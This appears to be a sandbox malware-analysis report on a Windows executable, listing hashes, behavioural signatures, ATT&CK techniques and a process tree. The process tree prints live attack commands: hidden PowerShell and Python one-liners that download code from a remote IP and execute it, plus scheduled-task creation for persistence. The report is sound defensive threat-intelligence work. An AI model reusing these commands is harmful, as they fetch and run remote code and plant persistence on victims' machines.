5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Size 237KB
Sample260625-mccjmsay6t
SHA256 5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c
MD5 54654a6e4d5938845697a6a7e39fbee4
SHA1 85b6cdb49f9d2ca609d6230917a550500840b546
SHA512 85f19594f87e5756930c44dae38c55f18e846bbfa1417a9e545fa5cf0af92180b97a4db7ba837243cdf5564cdb22c398f6e63a2aead9f24f0062a2bbd1c73b64
SSDEEP 3072:125RyML5r9YAOurxZnjiR9xDc0jpc8VSEuRw6hhKtP+NjX991jk:zOpljjgZc80Q6jR9
TLSH
T19D349C09771CE21DC9A90A785C52C7B40B30BD756D00C797BDE87B8F3EB33259A0969A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4580	powershell.exe
4	4580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
904	powershell.exe
2516	powershell.exe
3408	powershell.exe
4580	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2976	python.exe
6504	python.exe
4528	python.exe
4632	pythonw.exe

Loads dropped DLL 26 IoCs

pid	Process
2976	python.exe
2976	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
6504	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4528	python.exe
4632	pythonw.exe
4632	pythonw.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3960	systeminfo.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3480	schtasks.exe
2672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
904	powershell.exe
904	powershell.exe
4580	powershell.exe
4580	powershell.exe
4580	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncreaseQuotaPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSecurityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeTakeOwnershipPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeLoadDriverPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemProfilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemtimePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeProfSingleProcessPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncBasePriorityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeCreatePagefilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeBackupPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRestorePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeDebugPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemEnvironmentPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRemoteShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeUndockPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeManageVolumePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 33	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 34	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 35	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 36	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncreaseQuotaPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSecurityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeTakeOwnershipPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeLoadDriverPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemProfilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemtimePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeProfSingleProcessPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncBasePriorityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeCreatePagefilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeBackupPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRestorePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeDebugPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemEnvironmentPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRemoteShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeUndockPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeManageVolumePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 33	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 34	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 35	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 36	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncreaseQuotaPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSecurityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeTakeOwnershipPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeLoadDriverPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemProfilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemtimePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeProfSingleProcessPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeIncBasePriorityPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeCreatePagefilePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeBackupPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRestorePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeDebugPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeSystemEnvironmentPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeRemoteShutdownPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeUndockPrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: SeManageVolumePrivilege	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 33	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 34	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 35	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
Token: 36	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4220 wrote to memory of 904	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	94
PID 904 wrote to memory of 4580	904	powershell.exe	96
PID 4580 wrote to memory of 2976	4580	powershell.exe	99
PID 4220 wrote to memory of 3480	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	100
PID 4580 wrote to memory of 6504	4580	powershell.exe	101
PID 6504 wrote to memory of 4528	6504	python.exe	102
PID 4528 wrote to memory of 2516	4528	python.exe	103
PID 4528 wrote to memory of 3408	4528	python.exe	104
PID 4528 wrote to memory of 2672	4528	python.exe	105
PID 4220 wrote to memory of 4092	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	109
PID 4092 wrote to memory of 3600	4092	csc.exe	110
PID 4220 wrote to memory of 3756	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	111
PID 3756 wrote to memory of 5260	3756	csc.exe	112
PID 4220 wrote to memory of 5144	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	113
PID 5144 wrote to memory of 3892	5144	csc.exe	114
PID 4220 wrote to memory of 3868	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	115
PID 3868 wrote to memory of 1976	3868	csc.exe	116
PID 4220 wrote to memory of 3912	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	117
PID 3912 wrote to memory of 6952	3912	csc.exe	118
PID 4220 wrote to memory of 1816	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	119
PID 4220 wrote to memory of 6392	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	121
PID 6392 wrote to memory of 6788	6392	csc.exe	122
PID 4220 wrote to memory of 3960	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	123
PID 4220 wrote to memory of 6160	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	124
PID 4220 wrote to memory of 5692	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	125
PID 4220 wrote to memory of 5692	4220	5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
"C:\Users\Admin\AppData\Local\Temp\5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '-NoProfile','-ExecutionPolicy','Bypass','-Command','irm http://89.167.80.106/py | iex'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command irm http://89.167.80.106/py | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe
      "C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe" --version
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2976
  - - C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe
      "C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe" -c "import os import urllib.request as u os.environ['PY_PORTABLE_HOME'] = r'C:\Users\Admin\AppData\Local\PythonPortable\py' src = u.urlopen(r'http://89.167.80.106/py1', timeout=60).read() exec(compile(src, r'http://89.167.80.106/py1', 'exec'), {'__name__': '__main__'})"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:6504
    - - C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe
        
        C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe C:\Users\Admin\AppData\Local\Temp\remote_task_2z2zygq1.py --scheduled-py C:\Users\Admin\AppData\Local\PythonPortable\py\py3.py --python-exe C:\Users\Admin\AppData\Local\PythonPortable\py\pythonw.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -W hidden -Command " $ErrorActionPreference = 'SilentlyContinue' $home = 'C:\Users\Admin\AppData\Local\PythonPortable\py' $targetExe = 'C:\Users\Admin\AppData\Local\PythonPortable\py\pythonw.exe' Get-ScheduledTask | ForEach-Object { $task = $_ $remove = $false foreach ($action in $task.Actions) { $command = $action.Execute if (-not $command) { continue } try { $cmd = [IO.Path]::GetFullPath($command) } catch { continue } if ($cmd.Equals($targetExe, [StringComparison]::OrdinalIgnoreCase)) { $remove = $true break } $homeFull = [IO.Path]::GetFullPath($home) if ($cmd.StartsWith($homeFull + [IO.Path]::DirectorySeparatorChar, [StringComparison]::OrdinalIgnoreCase)) { $name = [IO.Path]::GetFileName($cmd).ToLowerInvariant() if ($name -eq 'python.exe' -or $name -eq 'pythonw.exe') { $remove = $true break } } } if ($remove) { Unregister-ScheduledTask -TaskName $task.TaskName -TaskPath $task.TaskPath -Confirm:$false } } "
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2516
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -W hidden -Command [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3408
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /tn SystemIdentityModelTask. /xml C:\Users\Admin\AppData\Local\Temp\task_z4l55mev.xml /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2672
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /tn \InteractiveServices\SystemReflectionEmitTask.CL_NFTS-1-5-21-958335860-2021930596-4099878453-1000 /xml C:\ProgramData\Multi.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3480
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xzji4jfa\xzji4jfa.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF3.tmp" "c:\Users\Admin\AppData\Local\Temp\xzji4jfa\CSC3920770E7B9468EA94E49E8C5EF5C3E.TMP"
    3⤵
    PID:3600
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m1phvea0\m1phvea0.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBDD.tmp" "c:\Users\Admin\AppData\Local\Temp\m1phvea0\CSC1DE5EDE818C24F4F93B5BE2BF6D58282.TMP"
    3⤵
    PID:5260
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n02tmaid\n02tmaid.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF6.tmp" "c:\Users\Admin\AppData\Local\Temp\n02tmaid\CSC46D8AD232E5A44D6B78F8D2F9752B18D.TMP"
    3⤵
    PID:3892
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lg2msggd\lg2msggd.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE10.tmp" "c:\Users\Admin\AppData\Local\Temp\lg2msggd\CSC5A4AB9FDC1564F4285D11DACD03BA471.TMP"
    3⤵
    PID:1976
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wqd54zn3\wqd54zn3.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF58.tmp" "c:\Users\Admin\AppData\Local\Temp\wqd54zn3\CSCAE6AB260CA774AB5B0837DBB51244926.TMP"
    3⤵
    PID:6952
- C:\Windows\system32\cscript.exe
  "C:\Windows\system32\cscript.exe" C:\Windows\System32\slmgr.vbs /dlv
  2⤵
  PID:1816
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ttatelug\ttatelug.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6392
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1795.tmp" "c:\Users\Admin\AppData\Local\Temp\ttatelug\CSC437F712C1E0849888AF59767FB8FE042.TMP"
    3⤵
    PID:6788
- C:\Windows\system32\systeminfo.exe
  "C:\Windows\system32\systeminfo.exe"
  2⤵
  - Gathers system information
  PID:3960
- C:\Windows\system32\findstr.exe
  "C:\Windows\system32\findstr.exe" /B "/C:OS Name" /B "/C:OS Version"
  2⤵
  PID:6160
- C:\Windows\System32\at.exe
  "C:\Windows\System32\at.exe"
  2⤵
  PID:5692

C:\Windows\System32\subst.exe
"C:\Windows\System32\subst.exe" /hyYK3ubRtKnk3TsrbyrfDwspiOJ
1⤵
PID:6368

C:\Users\Admin\AppData\Local\PythonPortable\py\pythonw.exe
C:\Users\Admin\AppData\Local\PythonPortable\py\pythonw.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Multi.xml

Path C:\ProgramData\Multi.xml
Size 3KB
SHA256 645fed254b64c16b5c7dbd9862fe5298275f2431d74c7754f5d7da5da2d66b0c
MD5 02c4017ba0c128a5fae5930da72d35cf
SHA1 16129c2dcdaff36ec1bbac459727a2a31f0846ba
SHA512 843098fe7716f9e3e5ba85ad49690c671448331b95fe42fb5706bf45f4513d8d3cabbfda8b6ea6fa359d545763672b373d3280e71fc8745c15fbb393631ff1f5
TLSH
T17871A2576BEE1119F1F36BACBEB754029E637D595D30C86D00AC060D0BB3A32D960B3A
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 9629977384b35783bde96659afb34b3bfbd3fda814fb556ceaeada8583dabfa3
MD5 9585b2ddb348f70ae0ebc9a6a2a8479c
SHA1 04914535ac9e62613d6e367eb323cc9a6d7e260e
SHA512 1ee1b1f948ea40f556172438aefa8b6e54405159c180266d381c003c906bdd9ffb8cdbe3e679496b0da8c802f90f8c40cdf50b2b2bcfbc93cb7e6b11eec83a7a
SSDEEP 1536:rKLAozYoNz8zMSfKQDxflJneHY/h4iUxkaT/JKO87Ov/cOdBvuV3CNBQkj2CaVVq:rKLAozYoNz8zMSfKQDxflJnUY/qiUfrB
TLSH
T17A637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 15a6269f5d6ca53b853b96132c7625ce17c775a064f35235e4c7e0b77c6ab713
MD5 b18c41f162433c70d75390762129650e
SHA1 79a92aa5f1f95de1d171ec06aecdece3249b7ef8
SHA512 2f799b1a0d2adfd5f5aaeff4ed72cbd6966e31ab79f5948469442ca655f6316968b08faaca9ad6b60c366efd3d3fe360c35173a13af2a7041498b038f46b00ec
TLSH
T1F0213433F3CD8594C899413A60CEAC1036BB87CB80DFCF9B6B84D125A43FA99CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2861ab79c6d9fa9372b56ae4585876248baa70c0caf95d7ae9cde173539854a3
MD5 aa91bf15182b5fd79f3825574a57a801
SHA1 4be50690fa6d676c8496ae69344a9b139b87119f
SHA512 50c30d22db8fd704733d3f95c8612e4f40b832b5335de96e1794fa64f56881bcd562e066047b7a63770e011440ff452e95b933044197d0954ba70dba1452b343
TLSH
T1CC319B37B3CC86E8D889413A46CEAC0036B296D7D09ECED76B84D655B52F789CE68150
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\PythonPortable\py\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\PythonPortable\py\_bz2.pyd
Size 85KB
SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
MD5 207d4a4b7a113ef494514918f2dccdf3
SHA1 74b59453b5bb6194e0d2587d26d499d0f7e1aed5
SHA512 f7e5a2608ee19fd400d4bfe27e8603289a219af6a4a4a9e65ebb76c715d926fb9b08293fc2a3fed2195784804764265fa0b356547f23c501ec8ff9487c948b27
SSDEEP 1536:xtMtz7eksNCb6YVVEFxO2RqOyuzotWw8pRbIiQIG3VTy1Ni9QfIY6utw:PMtzSqurjOqqfgotWrplIiQIG3VtKtw
TLSH
T14A837E86B3B462B6F59B81B496910353F730FF960710A3BFB25482863F13B91AF58365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_elementtree.pyd

Path C:\Users\Admin\AppData\Local\PythonPortable\py\_elementtree.pyd
Size 135KB
SHA256 16f4d30a50fc25950762a8bbef9dd6c5750729345539c224d489be33e6d6f340
MD5 b9ba17136ca35dc19bfa6d0602ce3a20
